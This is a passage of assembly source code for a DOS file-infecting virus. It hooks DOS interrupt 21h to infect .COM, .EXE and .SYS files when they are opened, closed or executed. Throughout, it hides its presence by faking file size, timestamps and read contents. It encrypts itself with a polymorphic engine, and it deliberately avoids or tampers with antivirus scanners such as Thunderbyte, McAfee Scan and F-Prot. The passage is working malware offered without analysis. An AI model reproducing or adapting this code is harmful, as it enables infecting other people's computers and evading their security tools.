;Add virus size to file size
add word ptr es:[di+11h],inf_byte_size
adc word ptr es:[di+13h],0000h
no_size_fix:
;Point to old header in file
call seek_end
sub word ptr es:[di+15h],file_header_size+01h
sbb word ptr es:[di+17h],0000h
;Read old header and encryption key
push cs
pop ds
mov ah,3Fh
mov cx,file_header_size+01h
mov dx,offset old_header
call dos_call
jc exit_disin
;Decrypt header
call decrypt_header
;Write old header
call seek_begin
mov dx,offset old_header
mov ah,40h
mov cx,file_header_size
call dos_call
;Truncate file
call seek_end
sub word ptr es:[di+15h],inf_byte_size
sbb word ptr es:[di+17h],0000h
xor cx,cx
mov ah,40h
call dos_call
exit_disin:
;Restore file pointer position
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
;Restore file attribute
pop ax
mov byte ptr es:[di+04h],al
;Restore file open mode
pop word ptr es:[di+02h]
;Do not set file date and file time on closing
or byte ptr es:[di+06h],40h
;Clear seconds field
and byte ptr es:[di+0Dh],0E0h
load_error:
;Check if write function
cmp byte ptr cs:[dos_function+01h],(40h xor 0FFh)
je not_load
;Close file
mov ah,3Eh
call dos_call
not_load:
jmp m21h_exit
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get file date/time ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_get_time:
;Call function
call pop_all
call dos_call
jnc ok_get_time
;Exit if error
call unhook_ints
stc
retf 02h
ok_get_time:
;Save result
call push_all
;Check if file is already infected
mov al,cl
mov ah,1Fh
and al,ah
cmp al,ah
jne no_get_time
;Get function result
call pop_all
;Clear infection marker
and cl,0E0h
jmp short exit_get_time
no_get_time:
call pop_all
exit_get_time:
call unhook_ints
clc
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set file date/time ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_set_time:
;Get function parameters
call pop_all
call push_all
;Get address of sft entry
call get_sft
jc no_set_time
;Check if file is already infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je ok_set_time
no_set_time:
;Exit if not infected or error
jmp m21h_exit
ok_set_time:
;Perform time change but restore our marker
call pop_all
or cl,1Fh
call push_all
jmp m21h_exit
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Open file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_open:
;Call dos function
call pop_all
call dos_call
jnc do_open_file
;Exit if error
call unhook_ints
stc
retf 02h
do_open_file:
;Save result
call push_all
;Get sft for file handle
xchg bx,ax
call get_sft
jc no_changes
;Check file name in sft
push es
pop ds
mov si,di
add si,0020h
cld
lodsw
;Check for chklist
cmp ax,"HC"
jne check_open_infection
lodsw
cmp ax,"LK"
jne check_open_infection
lodsw
cmp ax,"SI"
jne check_open_infection
;Close file
mov ah,3Eh
call dos_call
;Exit with error ( file not found )
call unhook_ints
call pop_all
mov ax,0002h
stc
retf 02h
check_open_infection:
;Check if file is infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
jne no_changes
;If infected stealth true size
sub word ptr es:[di+11h],inf_byte_size
sbb word ptr es:[di+13h],0000h
no_changes:
;Open operation complete, return to caller
call unhook_ints
call pop_all
clc
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Read file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_read:
;Restore function entry regs
call pop_all
call push_all
;Duplicate handle
mov ah,45h
call dos_call
jc no_read_stealth
xchg bx,ax
push ax
;Close new handle in order to update directory entry
mov ah,3Eh
call dos_call
pop bx
;Get address of sft entry
call get_sft
jc no_read_stealth
;Check if file is already infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
jne no_read_stealth
;Check and save current offset in file
mov ax,word ptr es:[di+15h]
cmp ax,file_header_size
jae no_read_stealth
cmp word ptr es:[di+17h],0000h
jne no_read_stealth
;Save file-pointer position into header
mov word ptr cs:[file_offset],ax
call pop_all
;Save address of read buffer
mov word ptr cs:[read_off],dx
mov word ptr cs:[read_seg],ds
;Perform read operation
call dos_call
jnc check_read
;Error during file read
call unhook_ints
stc
retf 02h
no_read_stealth:
;Exit if no read stealth
jmp m21h_exit
check_read:
;Restore regs and get file sft
call push_all
call get_sft
;Save offset position
push word ptr es:[di+15h]
push word ptr es:[di+17h]
;Save file size
push word ptr es:[di+11h]
push word ptr es:[di+13h]
;Add virus size to file size
add word ptr es:[di+11h],inf_byte_size
adc word ptr es:[di+13h],0000h
;Point to old header in file
call seek_end
sub word ptr es:[di+15h],file_header_size+01h
sbb word ptr es:[di+17h],0000h
;Read old header and encryption key
push cs
pop ds
mov ah,3Fh
mov cx,file_header_size+01h
mov dx,offset old_header
call dos_call
jc exit_read
;Decrypt header
call decrypt_header
;Move old header into read buffer
les di,dword ptr cs:[read_ptr]
mov si,offset old_header
mov cx,file_header_size-01h
mov ax,word ptr cs:[file_offset]
add di,ax
add si,ax
sub cx,ax
cld
rep movsb
exit_read:
;We need this again
call get_sft
;Restore file size
pop word ptr es:[di+13h]
pop word ptr es:[di+11h]
;Restore old offset in file
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
;Restore regs and exit
call unhook_ints
call pop_all
clc
retf 02h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Terminate program ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_terminate_prog:
;Try to infect file that was executed
;(filename in our buffer)
push cs
pop ds
mov dx,offset execute_filename
jmp infect_file_ds_dx
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Exec ( execute program ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_exec:
;Restore function entry regs
call pop_all
call push_all
;Save segmet of parameter block
push es
;Copy filename into our buffer
mov si,dx
mov di,offset execute_filename
push cs
pop es
copy_filename:
lodsb
stosb
or al,al
jnz copy_filename
;Restore segment of parameter block
pop es
;Check if file to execute is win.com
cmp word ptr ds:[si-04h],"OC"
jne no_win_com
cmp word ptr ds:[si-08h],"IW"
jne no_win_com
cmp word ptr ds:[si-06h],".N"
jne no_win_com
;Add parameters to win.com
call find_end_string
jc exit_add_param
mov cx,0005h
mov bx,offset win_param_string
jmp short found_end_string
no_win_com:
;Check if file to execute is tbscan.exe
cmp word ptr ds:[si-07h],"NA"
jne exit_add_param
cmp word ptr ds:[si-09h],"CS"
jne exit_add_param
cmp word ptr ds:[si-0Bh],"BT"
jne exit_add_param
;Add parameters to tbscan.exe
call find_end_string
jc exit_add_param
mov cx,0006h
mov bx,offset tbscan_param_string
found_end_string:
;Add to number of characters
add byte ptr ds:[di],cl
;Number of characters + carriage ret
inc cx
mov di,si
;Point over carriage ret of original command parameter string
dec di
;Get offset of our param string
mov si,bx
push ds
pop es
push cs
pop ds
;Write it over original command parameter string
rep movsb
exit_add_param:
;Return to virus int 21h handler
jmp m21h_exit
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Find end of command parameter string ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
find_end_string:
;Get address of command parameter string
lds si,dword ptr es:[bx+02h]
mov di,si
;Check if no parameters
lodsb
or al,al
jnz no_zero_param
inc si
clc
ret
no_zero_param:
;Find end of command parameter string
mov cx,007Fh
search_carriage_ret:
lodsb
cmp al,0Dh
jne try_next_char
clc
ret
try_next_char:
loop search_carriage_ret
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file ( ds:dx ptr to filename ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
infect_file_ds_dx:
;Open file for read-only
mov ax,3D00h
call dos_call
jnc ok_file_open
jmp file_error
ok_file_open:
xchg bx,ax
jmp short from_open
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect file on close ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_close:
;Get function parameters
call pop_all
call push_all
;Duplicate handle
mov ah,45h
call dos_call
jc file_error
xchg bx,ax
push ax
;Close new handle in order to update directory entry
mov ah,3Eh
call dos_call
pop bx
from_open:
;Check if file infection is disabled
cmp byte ptr cs:[file_infection_flag],0FFh
jne file_error
;Get sft address in es:di
call get_sft
jc file_error
;Check device info word
mov ax,word ptr es:[di+05h]
;Check if character device handle
test al,80h
jnz file_error
;Check if remote file handle
test ah,0Fh
jnz file_error
;Check if file is already infected
mov al,byte ptr es:[di+0Dh]
mov ah,1Fh
and al,ah
cmp al,ah
je file_error
;Check file name in sft
mov cx,0Bh
mov si,di
add si,20h
name_loop:
;Get a pair of characters
mov ax,word ptr es:[si]
;Do not infect files with digit in their file name
cmp al,"0"
jb no_digit
cmp al,"9"
jbe file_error
no_digit:
;Do not infect files with "V" character in their filename
cmp al,"V"
je file_error
;Do not infect files with "MO" into their filenames
cmp ax,"OM"
je file_error
;Do not infect files with "IO" into their filenames
cmp ax,"OI"
je file_error
;Do not infect files with "DO" into their filenames
cmp ax,"OD"
je file_error
;Do not infect files with "IB" into their filenames
cmp ax,"BI"
je file_error
;Next character
inc si
loop name_loop
;Get first pair
mov ax,word ptr es:[di+20h]
;Do not infect Thunderbyte antivirus utils
cmp ax,"BT"
je file_error
;Do not infect McAfee's Scan
cmp ax,"CS"
je file_error
;Do not infect F-Prot scanner
cmp ax,"-F"
je file_error
;Do not infect Solomon's Guard
cmp ax,"UG"
jne file_infection
file_error:
jmp critical_exit
file_infection:
;Save and set file open mode (read/write)
mov cx,0002h
xchg cx,word ptr es:[di+02h]
push cx
;Save and set file attribute
xor al,al
xchg al,byte ptr es:[di+04h]
push ax
test al,04h
jnz system_file
;Save and set file pointer position
push word ptr es:[di+15h]
push word ptr es:[di+17h]
;Read file header
call seek_begin
push cs
pop ds
mov ah,3Fh
mov cx,file_header_size
mov dx,offset file_buffer
call dos_call
jc exit_inf
;Seek to end of file and get file size
call seek_end
;Do not infect too small files
or dx,dx
jnz ok_min_size
cmp ax,inf_byte_size
jbe exit_inf
ok_min_size:
;Point si to file_buffer
mov si,offset file_buffer
check_sys:
;Check for .sys extension
cmp word ptr es:[di+28h],"YS"
jne check_exe
cmp byte ptr es:[di+2Ah],"S"
jne check_exe
jmp inf_sys
check_exe:
;Check for .exe mark in file header
mov cx,word ptr cs:[si+00h]
;Add markers M+Z
add cl,ch
cmp cl,"Z"+"M"
jne check_com
;Check for .exe extension
cmp word ptr es:[di+28h],"XE"
jne check_com
cmp byte ptr es:[di+2Ah],"E"
jne check_com
jmp inf_exe
check_com:
;Avoid infecting .exe type here
cmp cl,"Z"+"M"
je exit_inf
;Check for .com extension
cmp word ptr es:[di+28h],"OC"
jne exit_inf
cmp byte ptr es:[di+2Ah],"M"
jne exit_inf
jmp inf_com
exit_inf:
;Restore file pointer position
pop word ptr es:[di+17h]
pop word ptr es:[di+15h]
system_file:
;Restore file attribute
pop ax
mov byte ptr es:[di+04h],al
;Restore file open mode
pop word ptr es:[di+02h]
;Do not set file date/time on closing
or byte ptr es:[di+06h],40h
critical_exit:
;Check if close function
cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh)
je no_close_file
;Close file
mov ah,3Eh
call dos_call
no_close_file:
jmp m21h_exit
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .sys files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inf_sys:
;Don't infect too big .sys files
cmp ax,0FFFFh-(mem_byte_size*02h)
jae exit_inf
;Check next driver address
cmp word ptr cs:[si],0FFFFh
jne exit_inf
cmp word ptr cs:[si+02],0FFFFh
jne exit_inf
;Copy .sys file header
call copy_header
;Store virus entry point ( file size ) over strategy routine address
mov word ptr cs:[si+06h],ax
;Save delta offset for poly engine
mov word ptr cs:[file_delta],ax
;Store return subroutine
mov word ptr cs:[exit_address],offset exit_sys - \
offset host_ret
;Encrypt and infect
jmp get_control
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .com files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inf_com:
;Don't infect too big .com files
cmp ax,0FFFFh-(mem_byte_size*02h)
jae exit_inf
;Save first bytes of file
call copy_header
;Get file length as entry point
sub ax,03h
;Write a jump to virus into header
mov byte ptr cs:[si+00h],0E9h
mov word ptr cs:[si+01h],ax
;Save delta offset for poly engine
add ax,0103h
mov word ptr cs:[file_delta],ax
;Store return subroutine
mov word ptr cs:[exit_address],offset exit_com - \
offset host_ret
;Encrypt and infect
jmp get_control
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Infect .exe files ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inf_exe:
;Make a copy of .exe file header
call copy_header
;Don't infect Windows new exe files
cmp word ptr cs:[si+19h],0040h
jae bad_exe
;Don't infect overlays
cmp word ptr cs:[si+1Ah],0000h
jne bad_exe
;Check maxmem field
cmp word ptr cs:[si+0Ch],0FFFFh
jne bad_exe
;Save file size
push ax
push dx
;Save old exe entry point
push word ptr cs:[si+14h]
pop word ptr cs:[exe_ip]
push word ptr cs:[si+16h]
pop word ptr cs:[exe_cs]
;Get file size div 10h
mov cx,0010h
div cx
;Subtract header size
sub ax,word ptr cs:[si+08h]
;New entry point at file end
mov word ptr cs:[si+14h],dx
mov word ptr cs:[si+16h],ax
;Save delta offset for poly engine
mov word ptr cs:[file_delta],dx
;Set new offset of stack segment in load module
inc ax
mov word ptr cs:[si+0Eh],ax
;Set new stack pointer beyond end of virus
add dx,mem_byte_size+inf_byte_size+0410h
;Aligment
and dx,0FFFEh
mov word ptr cs:[si+10h],dx
;Restore size
pop dx
pop ax
;Resave size
push ax
push dx
;Get file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz size_round_1
inc ax
size_round_1:
;Check if file size is as header says
cmp ax,word ptr cs:[si+04h]
jne exit_header
cmp dx,word ptr cs:[si+02h]
je ok_file_size
exit_header:
pop dx
pop ax
bad_exe:
jmp exit_inf
ok_file_size:
;Restore file size
pop dx
pop ax
;Add virus size to file size
add ax,inf_byte_size
adc dx,0000h
;Get infected file size div 0200h
mov cx,0200h
div cx
or dx,dx
jz size_round_2
inc ax
size_round_2:
;Store new size
mov word ptr cs:[si+02h],dx
mov word ptr cs:[si+04h],ax
;Store return subroutine
mov word ptr cs:[exit_address],offset exit_exe - \
offset host_ret
;Encryption an infection continues on next routine
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Encryption and infection ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_control:
;Reserve memory for poly engine buffer
call memory_allocation
jc no_good_memory
;Encrypt virus and build polymorphic decryptor
sub bp,bp
call do_encrypt
;Write virus body to the end of file
mov ah,40h
mov cx,inf_byte_size
lds dx,dword ptr cs:[poly_working_ptr]
call dos_call
jc no_good_write
;Seek to beginning of file
call seek_begin
;Write new header
push cs
pop ds
mov ah,40h
mov cx,file_header_size
mov dx,offset file_buffer
call dos_call
;Mark file as infected
or byte ptr es:[di+0Dh],1Fh
no_good_write:
;Free previous allocated memory
call free_memory
no_good_memory:
jmp exit_inf
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Memory allocation routine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
memory_allocation:
;Save regs
call push_all
;Use segment as success flag
mov word ptr cs:[poly_working_seg],0000h
;Get and save memory allocation strategy
mov ax,5800h
call dos_call
push ax
;Set new allocation strategy to first fit in high then low
mov ax,5801h
mov bx,0080h
call dos_call
;Get and save umb link state
mov ax,5802h
call dos_call
xor ah,ah
push ax
;Set umb link state on
mov ax,5803h
mov bx,0001h
call dos_call
;Allocate memory
mov ah,48h
mov bx,inf_para_size
call dos_call
jc error_mem_alloc
;Save pointer to allocated memory
mov word ptr cs:[poly_working_off],0000h
mov word ptr cs:[poly_working_seg],ax
error_mem_alloc:
;Restore umb link state
mov ax,5803h
pop bx
call dos_call
;Restore allocation strategy
mov ax,5801h
pop bx
call dos_call
;Check segment
cmp word ptr cs:[poly_working_seg],0000h
je exit_mem_error
;Restore regs
call pop_all
clc
ret
exit_mem_error:
;Restore regs
call pop_all
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Free previous allocated memory ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
free_memory:
call push_all
free_try_again:
mov ah,49h
mov es,word ptr cs:[poly_working_seg]
call dos_call
jc free_try_again
call pop_all
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get random number from our rnd buffer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_rnd:
push si
push ds
push cs
pop ds
mov ax,word ptr cs:[rnd_pointer][bp]
mov si,ax
sub ax,bp
cmp ax,decryptor-04h
jbe into_random_data
mov si,bp
into_random_data:
cld
lodsw
mov word ptr cs:[rnd_pointer][bp],si
pop ds
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Timer based random number generator ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
random_number:
push cx
in ax,40h
mov cl,al
xor al,ah
xor ah,cl
xor ax,0FFFFh
org $-02h
randomize:
dw 0000h
mov word ptr cs:[randomize][bp],ax
pop cx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a 16bit random number ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
rand_16:
call get_rnd
mov bl,al
call get_rnd
mov ah,bl
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random number betwin 0 and ax ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
rand_in_range:
;Returns a random num between 0 and entry ax
push bx
push dx
xchg ax,bx
call get_rnd
xor dx,dx
div bx
;Remainder in dx
xchg ax,dx
pop dx
pop bx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Return the al vector in es:bx ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_int:
push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,dword ptr es:[bx+00h]
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Set al interrupt vector to ds:dx pointer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
set_int:
push ax
push bx
push ds
cli
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
push ds
xor ax,ax
mov ds,ax
mov word ptr ds:[bx+00h],dx
pop word ptr ds:[bx+02h]
sti
pop ds
pop bx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get sft address in es:di ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_sft:
;File handle in bx
push bx
;Get job file table entry to es:di
mov ax,1220h
int 2Fh
jc error_sft
;Exit if handle not opened
xor bx,bx
mov bl,byte ptr es:[di+00h]
cmp bl,0FFh
